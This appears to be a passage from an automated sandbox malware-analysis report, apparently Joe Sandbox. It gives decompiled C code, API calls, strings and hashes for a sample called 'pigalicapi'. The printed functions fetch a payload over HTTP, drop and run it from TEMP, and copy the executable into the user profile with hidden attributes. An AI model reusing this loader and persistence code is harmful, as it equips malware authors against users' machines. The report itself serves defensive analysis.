																_t598 = _t598 + 0xc;
																 *(_v648 + 4) = _v56;
															}
														} else {
															 *_v648 = _v632;
															 *(_v648 + 4) = _v640;
														}
														__eflags =  *_v648;
														if( *_v648 != 0) {
															 *((intOrPtr*)(_v648 + 8)) =  *((intOrPtr*)(_v20 + 0xc));
															 *((intOrPtr*)(_v648 + 0xc)) = _v636;
															_t368 = CreateThread(0, 0, E040077B0, _v648, 0, 0); // executed
															_v652 = _t368;
															CloseHandle(_v652);
														}
													}
													_t550 = _v20;
													__eflags =  *(_t550 + 0xc) & 0x00000004;
													if(( *(_t550 + 0xc) & 0x00000004) != 0) {
														E04002510(_v636, 0x400e290);
														_t598 = _t598 + 8;
													}
													_v8 = 1;
												}
												goto L24;
											}
											_v620 = VirtualAlloc(0, _v56, 0x3000, 4);
											__eflags = _v620;
											if(_v620 == 0) {
												goto L48;
											}
											E04007B70(_v620, _v52, _v56);
											_t393 = E040097A0(0x20);
											_t598 = _t598 + 0x10;
											_v1224 = _t393;
											_v624 = _v1224;
											 *_v624 =  *_v20;
											 *((intOrPtr*)(_v624 + 4)) =  *((intOrPtr*)(_v20 + 4));
											 *((intOrPtr*)(_v624 + 8)) =  *((intOrPtr*)(_v20 + 8));
											 *((intOrPtr*)(_v624 + 0x14)) =  *((intOrPtr*)(_v20 + 0x14));
											 *((intOrPtr*)(_v624 + 0x1c)) = _v56;
											 *((intOrPtr*)(_v624 + 0xc)) =  *((intOrPtr*)(_v20 + 0xc));
											 *((intOrPtr*)(_v624 + 0x10)) =  *((intOrPtr*)(_v20 + 0x10));
											 *(_v624 + 0x18) = _v620;
											_v628 = CreateThread(0, 0, E04006DA0, _v624, 0, 0);
											CloseHandle(_v628);
											goto L24;
										}
										goto L24;
									}
									goto L24;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L39;
								}
								GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
								E04007D20( &_v340,  &_v340, 0, 0xa);
								E04009730( &_v340, 4);
								_t598 = _t598 + 0x14;
								GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
								_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0x80, 0);
								__eflags = _v328 - 0xffffffff;
								if(_v328 == 0xffffffff) {
									goto L39;
								}
								_v608 = 0;
								_v612 = 0;
								_t415 = WriteFile(_v328, _v52, _v56,  &_v612, 0);
								__eflags = _t415;
								if(_t415 == 0) {
									L37:
									__eflags = _v608;
									if(_v608 == 0) {
										CloseHandle(_v328);
									}
									goto L39;
								}
								__eflags = _v612 - _v56;
								if(_v612 != _v56) {
									goto L37;
								}
								_v608 = CloseHandle(_v328);
								E04006C60();
								_t421 = E04001E60( &_v324);
								_t598 = _t598 + 4;
								_v616 = _t421;
								__eflags = _v616;
								if(_v616 == 0) {
									E04006CF0();
									goto L37;
								}
								E040074A0();
								ExitProcess(0);
							}
							_v60 =  *_v20;
							_v20 = _v20 + _v60;
							__eflags = _v20 - _a4 + _a8;
							if(_v20 <= _a4 + _a8) {
								goto L29;
							}
							return 0;
						}
						__eflags = (_v13 & 0x000000ff) - 1;
						if((_v13 & 0x000000ff) != 1) {
							 *0x40130e4 = 1;
						} else {
							 *0x40130e4 = 2;
						}
					}
					goto L99;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 040063BD
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04006408

Strings

TEMP, xrefs: 040069C6
Vatwyovatk, xrefs: 04006C06
TEMP, xrefs: 040064C6

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: TEMP$TEMP$Vatwyovatk
API String ID: 2087232378-1226953995
Opcode ID: 163a6c67a9ad4a050b6a0ddf75bfa28f589bd25aa1d8280bf8524ef74e6305bb
Instruction ID: 78f313c43f0008814aaec3ee7e7f4a65c37c9c75159239be5687e4ed3a221f5b
Opcode Fuzzy Hash: 163a6c67a9ad4a050b6a0ddf75bfa28f589bd25aa1d8280bf8524ef74e6305bb
Instruction Fuzzy Hash: 70522BB5A042199FEB54DF94DC88FAEB7B6FB48304F148598E509BB280D775AE80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E04007D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644);
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640);
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E04007D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E04007D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 04001902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 0400191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 04001956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 04001994
wnsprintfA.SHLWAPI ref: 040019C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 040019DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 04001A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 04001A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04001A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 04001B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 04001B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 04001BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04001C3D
InternetCloseHandle.WININET(00000000), ref: 04001C75
InternetCloseHandle.WININET(00000000), ref: 04001C82
InternetCloseHandle.WININET(00000000), ref: 04001C8F

Strings

Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 040019B1
<, xrefs: 040018BD
POST, xrefs: 04001988
0u, xrefs: 040019EB
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 04001918

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2804282621
Opcode ID: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction ID: 104ecec6680c69d5e391cf9d7718dbecb1b5f59d1f4ca396f8eadafade2250d2
Opcode Fuzzy Hash: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction Fuzzy Hash: 89C10BB19442189BFB64CF50CC49FD9B7B5EB88704F0481D9E60DAA2C0DB7AAAD4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04004020 Relevance: 30.2, APIs: 20, Instructions: 215
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04004020(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24) {
				signed int _v5;
				signed int _v12;
				char _v16;
				void* _v20;
				struct _CRITICAL_SECTION _v44;
				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E04007D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E04004AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E040097A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E04007D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E04007D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E04004BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E040097C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

APIs

InitializeCriticalSection.KERNEL32(?), ref: 04004066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 0400422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0400423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 04004258
TerminateThread.KERNEL32(00000000,00000000), ref: 0400426D
EnterCriticalSection.KERNEL32(?), ref: 04004277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400428E
LeaveCriticalSection.KERNEL32(?), ref: 040042A6
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction ID: 8bdf0d2272c993105e18f632bfcb20d3462f1ee8570acd5c3bdc395bff94e74a
Opcode Fuzzy Hash: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction Fuzzy Hash: 6A910D74A04208AFEB14DFA4D849BDDBBB5FB48705F108219FA05BB2C0D778A984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04005700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04005700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E04008F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104);
					E04001CA0(_a4 + 0x204, 0x104); // executed
					E04009D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E04007B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E04005CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E04007D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207); // executed
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						FindCloseChangeNotification(_v32); // executed
					}
					_v5 = 1;
				}
				return _v5;
			}

APIs

Part of subcall function 04008F80: GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
Part of subcall function 04008F80: GetSystemInfo.KERNEL32(?), ref: 04009009
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
Part of subcall function 04008F80: lstrlenA.KERNEL32(?), ref: 0400922F
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,?), ref: 04009253
Part of subcall function 04008F80: lstrlenA.KERNEL32(00000000), ref: 0400925D
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742

Part of subcall function 04001CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
Part of subcall function 04001CA0: GetCurrentProcessId.KERNEL32 ref: 04001CEE
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
Part of subcall function 04001CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
Part of subcall function 04001CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
Part of subcall function 04001CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
Part of subcall function 04001CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
Part of subcall function 04001CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
Part of subcall function 04001CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Part of subcall function 04001CA0: CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Part of subcall function 04009D20: GetSystemDirectoryA.KERNEL32 ref: 04009D9A
Part of subcall function 04009D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD
Part of subcall function 04009D20: StringFromCLSID.OLE32(00000020,?), ref: 04009EF7

Part of subcall function 04005CD0: lstrlenA.KERNEL32(00000000), ref: 04005CEB
Part of subcall function 04005CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
Part of subcall function 04005CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
Part of subcall function 04005CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
Part of subcall function 04005CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
Part of subcall function 04005CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
Part of subcall function 04005CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 0400580A
wnsprintfA.SHLWAPI ref: 0400582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040058D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04005912
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400591C

Strings

%s\%s.exe, xrefs: 0400581C
pigalicapi, xrefs: 040057A9, 04005810
USERPROFILE, xrefs: 04005805

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$ChangeCreateFindNotificationProcess$AllocDirectoryFirstFreeModuleNameProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromHandleInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 1116761331-4090404022
Opcode ID: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction ID: 5a1df65dd39d11d2feffdc598e8508d5089156913625d6b4e9fa29ff03a3d0d3
Opcode Fuzzy Hash: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction Fuzzy Hash: 66515FB4944208BBFB14DF60DC59FEA7774EB44709F048168FA097A2C1D778AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04001120 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E04001120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0);
						SetFileAttributesA( &_v556, 6);
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E040097A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E040012D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E040097C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04001148
lstrlenA.KERNEL32(00000000), ref: 0400115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182

Part of subcall function 040097C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
Part of subcall function 040097C0: RtlFreeHeap.NTDLL(00000000), ref: 040097D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 0400119B
wnsprintfA.SHLWAPI ref: 040011BD
lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
lstrcpyA.KERNEL32(00000104,?), ref: 04001210
lstrcpyA.KERNEL32(00000000,?), ref: 04001249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
CreateThread.KERNEL32 ref: 04001274

Strings

USERPROFILE, xrefs: 04001196
%s\%s.exe, xrefs: 040011AC

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$USERPROFILE
API String ID: 1231128424-1744756051
Opcode ID: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction ID: 5a94151192094d4d6073c3e413aca9132142fa07401a96dcdce05a8263d9ef35
Opcode Fuzzy Hash: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction Fuzzy Hash: 2A413675904208ABEB54CFA4D889BDE77B4EF48704F00C295F509AA281D779EA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040099F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E040099F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
